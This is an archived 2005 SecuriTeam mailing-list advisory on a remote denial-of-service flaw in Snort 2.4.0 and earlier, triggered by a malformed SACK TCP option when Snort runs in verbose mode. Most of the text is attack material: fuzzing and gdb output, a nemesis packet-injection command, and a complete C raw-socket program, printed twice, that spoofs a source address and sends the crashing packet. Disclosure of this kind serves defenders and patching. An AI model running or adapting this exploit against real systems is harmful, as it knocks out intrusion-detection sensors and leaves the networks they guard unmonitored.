[UNIX] Snort SACK TCP Option Handling DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 09/13/05

  • Next message: SecuriTeam: "[UNIX] Frox Aribitary File Access"
    To: list@securiteam.com
    Date: 13 Sep 2005 11:12:35 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Snort SACK TCP Option Handling DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.snort.org/> Snort is "an open source network intrusion
    detection and prevention system". A vulnerability found in PrintTcpOptions
    could allow an attacker to craft a malformed TCP/IP packet that would
    remotely DoS Snort.

    DETAILS

    Vulnerable Systems:
     * Snort version 2.4.0 and prior

    A vulnerability exist in the PrintTcpOptions() function located in
    snort-2.4.0/src/log.c
    This could allow an attacker to craft a malformed TCP/IP packet and make a
    DoS or totally crash Snort in a remote system. In order to exploit Snort
    needs to run in verbose mode (switch -v).

    After fuzzing Snort 2.4.0 with fuzzball2:
    =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

    08/21-11:22:18.674064 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x36
    127.0.0.1:80 -> 127.0.0.1:29383 TCP TTL:64 TOS:0x0 ID:64 IpLen:20
    DgmLen:40 DF
    ***A*R** Seq: 0x0 Ack: 0x4A2AC316 Win: 0x0 TcpLen: 20
    0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 ..............E.
    0x0010: 00 28 00 40 40 00 40 06 3C 8E 7F 00 00 01 7F 00 .(.@@.@.<.......
    0x0020: 00 01 00 50 72 C7 00 00 00 00 4A 2A C3 16 50 14 ...Pr.....J*..P.
    0x0030: 00 00 31 76 00 00 ..1v..

    -+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

    08/21-11:22:18.676194 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
    127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20
    DgmLen:44
    ******S* Seq: 0xCC1016F Ack: 0x43F18422 Win: 0x16D0 TcpLen: 24
    TCP Options (2) => Violaci n de segmento

    The process catch a SIGSEGV signal, ok, now we need to know what packet
    number crash Snort:

    root@blackb0x # snort -veX -i lo -q > DUMP.log
    Violaci n de segmento
    root@blackb0x # grep 127 DUMP.log | wc -l
    123

    At this moment we know that packet number 123 is the evil (may change) hu!
    ;)...
    Attaching Snort to GDB:

    root@blackb0x # gdb -q snort
    Using host libthread_db library /lib/tls/i686/cmov/libthread_db.so.1".
    (gdb) r -veX -i lo
    Starting program: /usr/local/bin/snort -veX -i lo
    ..SNIPED...
    08/21-11:25:40.328775 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
    127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20
    DgmLen:44
    ******S* Seq: 0xCC1016F Ack: 0x43F18422 Win: 0x16D0 TcpLen: 24
    TCP Options (2) =>
    Program received signal SIGSEGV, Segmentation fault.
    0x0804fef2 in PrintTcpOptions (fp=0xb7f8f120, p=0xbffff360) at log.c:1543
    1543 memcpy(tmp, p->tcp_options[i].data, 2);
    (gdb) print tmp
    $1 = "\000\000\000\000"
    (gdb) print p
    $2 = (Packet *) 0xbffff360
    (gdb) print i
    $3 = 0
    (gdb) print p->tcp_options[i]
    $4 = {code = 5 '\005', len = 0 '\0', data = 0x0}
    (gdb) print p->tcp_options[i].code
    $3 = 5 '\005'
    (gdb) x/4b p->tcp_options_data
    0x824edd0: 0x05 0x02 0x00 0x00

    The error is in line 1543 from log.c:

    root@blackb0x:/home/nitrous/software/snort-2.4.0/src # cat -n log.c | grep
    -C 10 1543
      1533 case TCPOPT_NOP:
      1534 fwrite("NOP ", 4, 1, fp);
      1535 break;
      1536
      1537 case TCPOPT_WSCALE:
      1538 fprintf(fp, "WS: %u ", p->tcp_options[i].data[0]);
      1539 break;
      1540
      1541 case TCPOPT_SACK:
      1542 bzero((char *) tmp, 5);
      1543 memcpy(tmp, p->tcp_options[i].data, 2);
      1544 fprintf(fp, "Sack: %u@", EXTRACT_16BITS(tmp));
      1545 bzero((char *) tmp, 5);
      1546 memcpy(tmp, (p->tcp_options[i].data) + 2, 2);
      1547 fprintf(fp, "%u ", EXTRACT_16BITS(tmp));
      1548 break;
      1549
      1550 case TCPOPT_SACKOK:
      1551 fwrite("SackOK ", 7, 1, fp);
      1552 break;

    Reading the GDB's output found that p->tcp_options[i].code value is 5
    (TCPOPT_SACK).

    Analyzing the Raw packet with tcpdump:
    #tcpdump -i lo -eXX -c 123 | tail -5
    11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S
    213975407:213975407(0) win 5840

    0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E.., O.. ..z....
    0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....r .P. .oC ."
    0020: 6002 16d0 3caf 0000 0502 0000 `..

    Suspecting the last 4 bytes are the evil we make our own packet:
    root@blackb0x # printf "\x05\x02\x00\x00" > payload
    root@blackb0x # nemesis tcp -S 33.33.33.33 -D 127.0.0.1 -x 31337 -y 64876
    -o ./payload
    TCP Packet Injected

    And again, the result:

    root@blackb0x # snort -veX -i lo -q
    08/21-11:54:34.449751 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
    33.33.33.33:31337 -> 127.0.0.1:64876 TCP TTL:255 TOS:0x0 ID:61316 IpLen:20
    DgmLen:44
    ******S* Seq: 0x46FE88E2 Ack: 0x1494CF39 Win: 0x1000 TcpLen: 24
    TCP Options (2) => Violaci n de segmento

    But the flaw doesn't appear to effect IDS mode in standard configurations
    (without -v flag):

    root@blackb0x # snort -c etc/snort.conf -D
    root@blackb0x # ps aux | grep snort
    root 9947 5.3 31.6 38616 34720 ? Ss 11:24 0:00 snort -c
    etc/snort.conf -D
    root 9949 0.0 0.6 3384 760 pts/1 S+ 11:24 0:00 grep
    snort
    root@blackb0x # ./snortrigger localhost
    -=[ Snort <= 2.4.0 Trigger p0c
    -=[ By nitr0us

    -=[ Sending Malformed TCP/IP Packet...
    -=[ Sent 44 bytes to localhost
    -=[ Snort killed !
    root@blackb0x # ps aux | grep snort
    root 9947 1.9 31.6 38616 34736 ? Ss 11:24 0:00 snort -c
    etc/snort.conf -D
    root 9952 0.0 0.6 3384 760 pts/2 S+ 11:24 0:00 grep
    snort

    Proof of Concept Code:
    /*_------------------------------------------_
    ||------+ Snort <= 2.4.0 Trigger p0c +------||
    ||__________________________________________||
    ||--=[ nitrous [at] vulnfact [dot] com ]=--||
    ||--=[ VulnFact Security Labs ]=--||
    ||--=[ 21 Ago 2oo5 ]=--||
    ||--=[ Mexico ]=--||
    ||__________________________________________||
    -__________________________________________-

    Snort <= 2.4.0 SACK TCP Option Error Handling
    Este c digo envia al especificado un paquete TCP/IP con 4 bytes extras
    correspondientes al campo TCP Options [TCP Header].
    Estos 4 bytes son "\x05\x02\x00\x00". NOTA !!!: Snort solamente cae cuando
    se
    esta corriendo en verbose mode (-v).

    Esto solo funciona testeando de una maquina a otra directamente conectadas
    (1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet,
    por
    que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por
    donde
    pase este paquete lo descartara por no tener una checksum valida.

    RFC #1072 - TCP Extensions for Long-Delay Paths

    3.2- TCP SACK Option:
    ..
    Kind: 5
    Length: Variable
    +--------+--------+--------+--------+--------+--------+
    | Kind=5 | Length | Relative Origin | Block Size |
    +--------+--------+--------+--------+--------+--------+

    Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos:
    11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S
    213975407:213975407(0) win 5840
    <malformed sack [len 0] ,eol>
    0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E.., O.. ..z....
    0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....r .P. .oC ."
    0020: 6002 16d0 3caf 0000 0502 0000 `.. < ......

    Testeado en:
    [+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;)
    [+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
    [+] snort 2.3.2 @ Debian Linux 3.1 "Sarge"
    [+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
    [+] snort 2.3.0 @ Red Hat Linux 9
    [+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
    [+] snort 2.0.0 @ OpenBSD 3.5 GENERIC

    Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan,
    Rowter, Gus, Crypkey,
    protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2
    fuzzer, gcarrillog,
    JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de
    "Sussie 4" ;)...
    Federico L. Bossi Bonin
    */

    #include<stdio.h>
    #include<string.h>
    #include<unistd.h>
    #include<errno.h>
    #include<netdb.h>
    #include<sys/types.h>
    #include<sys/socket.h>
    #include<netinet/in.h>
    //#define __USE_BSD 1 /* Use BSD's ip header style */
    #include<netinet/ip.h>
    #define __FAVOR_BSD 1 /* Use BSD's tcp header style */
    #include<netinet/tcp.h>

    #define IPSIZE sizeof(struct ip)
    #define TCPSIZE sizeof(struct tcphdr)
    #define DEFAULT_SRC_IP "200.31.33.70"

    char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */

    int usage(char *name)
    {
    fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name);
    fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP);

    return 0;
    }

    int main(int argc, char **argv)
    {
    char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
    char *srcip = DEFAULT_SRC_IP;
    int sockfd, count;
    int one = 1; /* setsockopt() */
    struct sockaddr_in target;
    struct hostent *host2ip;
    struct ip *IP = (struct ip *) packet;
    struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);

    if(argc < 2)
    return(usage(*argv));

    if(argc == 3)
    srcip = argv[2];

    if((host2ip = gethostbyname(argv[1])) == NULL){
    perror("gethostbyname");
    exit(-1);
    }

    if(getuid() != 0){
    fprintf(stderr, "Ups!, must be r00t to perform RAW sockets\n");
    exit(-1);
    }

    memset(packet, 0x00, sizeof(packet));

    memset(&target, 0x00, sizeof(target));
    target.sin_family = AF_INET;
    target.sin_port = htons(64876);
    target.sin_addr = *((struct in_addr *)host2ip->h_addr);

    /*** BUILDING MALFORMED PACKET ***/
    IP->ip_hl = 0x05;
    IP->ip_v = 0x04;
    IP->ip_tos = 0x00;
    IP->ip_len = IPSIZE + TCPSIZE + 4;
    IP->ip_id = 0x00;
    IP->ip_off = 0x00;
    IP->ip_ttl = 0xff;
    IP->ip_p = IPPROTO_TCP;
    IP->ip_sum = 0x00;
    IP->ip_src.s_addr = inet_addr(srcip);
    IP->ip_dst.s_addr = target.sin_addr.s_addr;

    TCP->th_sport = htons(31337);
    TCP->th_dport = target.sin_port;
    TCP->th_seq = 0x00;
    TCP->th_ack = 0x00;
    TCP->th_x2 = 0x00;
    TCP->th_off = 0x06;
    TCP->th_flags = 0x00; /* NO Syn ;) */
    TCP->th_win = htons(0xffff);
    TCP->th_sum = 0x00;
    TCP->th_urp = 0x00;

    memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
    /*** END ***/

    if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){
    perror("socket");
    exit(-1);
    }

    if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){
    perror("setsockopt");
    exit(-1);
    }

    printf("-=[ Snort <= 2.4.0 Trigger p0c\n");
    printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n");
    printf("-=[ Sending Malformed TCP/IP Packet...\n");

    if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr
    *)&target, sizeof(target))) == -1){
    perror("sendto");
    close(sockfd);
    exit(-1);
    }

    printf("-=[ Sent %d bytes to %s\n", count, argv[1]);
    printf("-=[ Snort killed !\n");

    close(sockfd);
    return 0;
    }

    Disclosure Timeline:
    Flaw Discovered: 20/08/2005.
    Vendor Notification: 22/08/2005.
    Vendor Response: 23/08/2005.
    Date Published: 11/09/2005.

    Exploit Code:
    /*_----------------------------------------------
    ||------+ Snort <= 2.4.0 Trigger p0c +-------
    ||___________________________________
    ||--=[ nitrous [at] vulnfact [dot] com ]=--
    ||--=[ VulnFact Security Labs ]=--
    ||--=[ 21 Ago 2oo5 ]=--
    ||--=[ Mexico ]=--
    ||__________________________________________
    -__________________________________________-

    Snort <= 2.4.0 SACK TCP Option Error Handling
    Este c digo envia al especificado un paquete TCP/IP con 4 bytes extras
    correspondientes al campo TCP Options [TCP Header].
    Estos 4 bytes son "\x05\x02\x00\x00". NOTA !!!: Snort solamente cae cuando
    se
    esta corriendo en verbose mode (-v).

    Esto solo funciona testeando de una maquina a otra directamente conectadas
    (1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet,
    por
    que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por
    donde
    pase este paquete lo descartara por no tener una checksum valida.

    RFC #1072 - TCP Extensions for Long-Delay Paths

    3.2- TCP SACK Option:
    ..
    Kind: 5
    Length: Variable
    +--------+--------+--------+--------+--------+--------+
    | Kind=5 | Length | Relative Origin | Block Size |
    +--------+--------+--------+--------+--------+--------+

    Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos:
    11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S
    213975407:213975407(0) win 5840
    <malformed sack [len 0] ,eol>
    0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E.., 'O.. ..z....
    0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....r .P. .oC ."
    0020: 6002 16d0 3caf 0000 0502 0000 `.. < ......

    Testeado en:
    [+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;)
    [+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
    [+] snort 2.3.2 @ Debian Linux 3.1 "Sarge"
    [+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
    [+] snort 2.3.0 @ Red Hat Linux 9
    [+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
    [+] snort 2.0.0 @ OpenBSD 3.5 GENERIC

    Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan,
    Rowter, Gus, Crypkey,
    protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2
    fuzzer, gcarrillog,
    JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de
    "Sussie 4" ;)...
    Federico L. Bossi Bonin
    */

    #include<stdio.h>
    #include<string.h>
    #include<unistd.h>
    #include<errno.h>
    #include<netdb.h>
    #include<sys/types.h>
    #include<sys/socket.h>
    #include<netinet/in.h>
    //#define __USE_BSD 1 /* Use BSD's ip header style */
    #include<netinet/ip.h>
    #define __FAVOR_BSD 1 /* Use BSD's tcp header style */
    #include<netinet/tcp.h>

    #define IPSIZE sizeof(struct ip)
    #define TCPSIZE sizeof(struct tcphdr)
    #define DEFAULT_SRC_IP "200.31.33.70"

    char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */

    int usage(char *name)
    {
    fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name);
    fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP);

    return 0;
    }

    int main(int argc, char **argv)
    {
    char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
    char *srcip = DEFAULT_SRC_IP;
    int sockfd, count;
    int one = 1; /* setsockopt() */
    struct sockaddr_in target;
    struct hostent *host2ip;
    struct ip *IP = (struct ip *) packet;
    struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);

    if(argc < 2)
    return(usage(*argv));

    if(argc == 3)
    srcip = argv[2];

    if((host2ip = gethostbyname(argv[1])) == NULL){
    perror("gethostbyname");
    exit(-1);
    }

    if(getuid() != 0){
    fprintf(stderr, "Ups!, must be r00t to perform RAW sockets\n");
    exit(-1);
    }

    memset(packet, 0x00, sizeof(packet));

    memset(&target, 0x00, sizeof(target));
    target.sin_family = AF_INET;
    target.sin_port = htons(64876);
    target.sin_addr = *((struct in_addr *)host2ip->h_addr);

    /*** BUILDING MALFORMED PACKET ***/
    IP->ip_hl = 0x05;
    IP->ip_v = 0x04;
    IP->ip_tos = 0x00;
    IP->ip_len = IPSIZE + TCPSIZE + 4;
    IP->ip_id = 0x00;
    IP->ip_off = 0x00;
    IP->ip_ttl = 0xff;
    IP->ip_p = IPPROTO_TCP;
    IP->ip_sum = 0x00;
    IP->ip_src.s_addr = inet_addr(srcip);
    IP->ip_dst.s_addr = target.sin_addr.s_addr;

    TCP->th_sport = htons(31337);
    TCP->th_dport = target.sin_port;
    TCP->th_seq = 0x00;
    TCP->th_ack = 0x00;
    TCP->th_x2 = 0x00;
    TCP->th_off = 0x06;
    TCP->th_flags = 0x00; /* NO Syn ;) */
    TCP->th_win = htons(0xffff);
    TCP->th_sum = 0x00;
    TCP->th_urp = 0x00;

    memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
    /*** END ***/

    if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){
    perror("socket");
    exit(-1);
    }

    if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){
    perror("setsockopt");
    exit(-1);
    }

    printf("-=[ Snort <= 2.4.0 Trigger p0c\n");
    printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n");
    printf("-=[ Sending Malformed TCP/IP Packet...\n");

    if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr
    *)&target, sizeof(target))) == -1){
    perror("sendto");
    close(sockfd);
    exit(-1);
    }

    printf("-=[ Sent %d bytes to %s\n", count, argv[1]);
    printf("-=[ Snort killed !\n");

    close(sockfd);
    return 0;
    }

    Related Links:
     * <http://www.vulnfact.com/exploits/snortrigger.c> Proof of Concept code
     * <http://www.nologin.org/main.pl?action=codeView&codeId=54& > Fuzzball2
    TCP/IP Options Fuzzer
     * <ftp://ftp.rfc-editor.org/in-notes/rfc1072.txt> RFC #1072 - TCP
    Extensions for Long-Delay Paths
     * <http://www.iana.org/assignments/tcp-parameters> TCP Option Numbers

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:nitrous@vulnfact.com>
    nitrous.
    The original article can be found at:
    <http://www.vulnfact.com/advisories/snort_adv.html>
    http://www.vulnfact.com/advisories/snort_adv.html
    The exploit code:
    <http://www.frsirt.com/exploits/20050912.snortsackdos.c.php>
    http://www.frsirt.com/exploits/20050912.snortsackdos.c.php

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Frox Aribitary File Access"

    Relevant Pages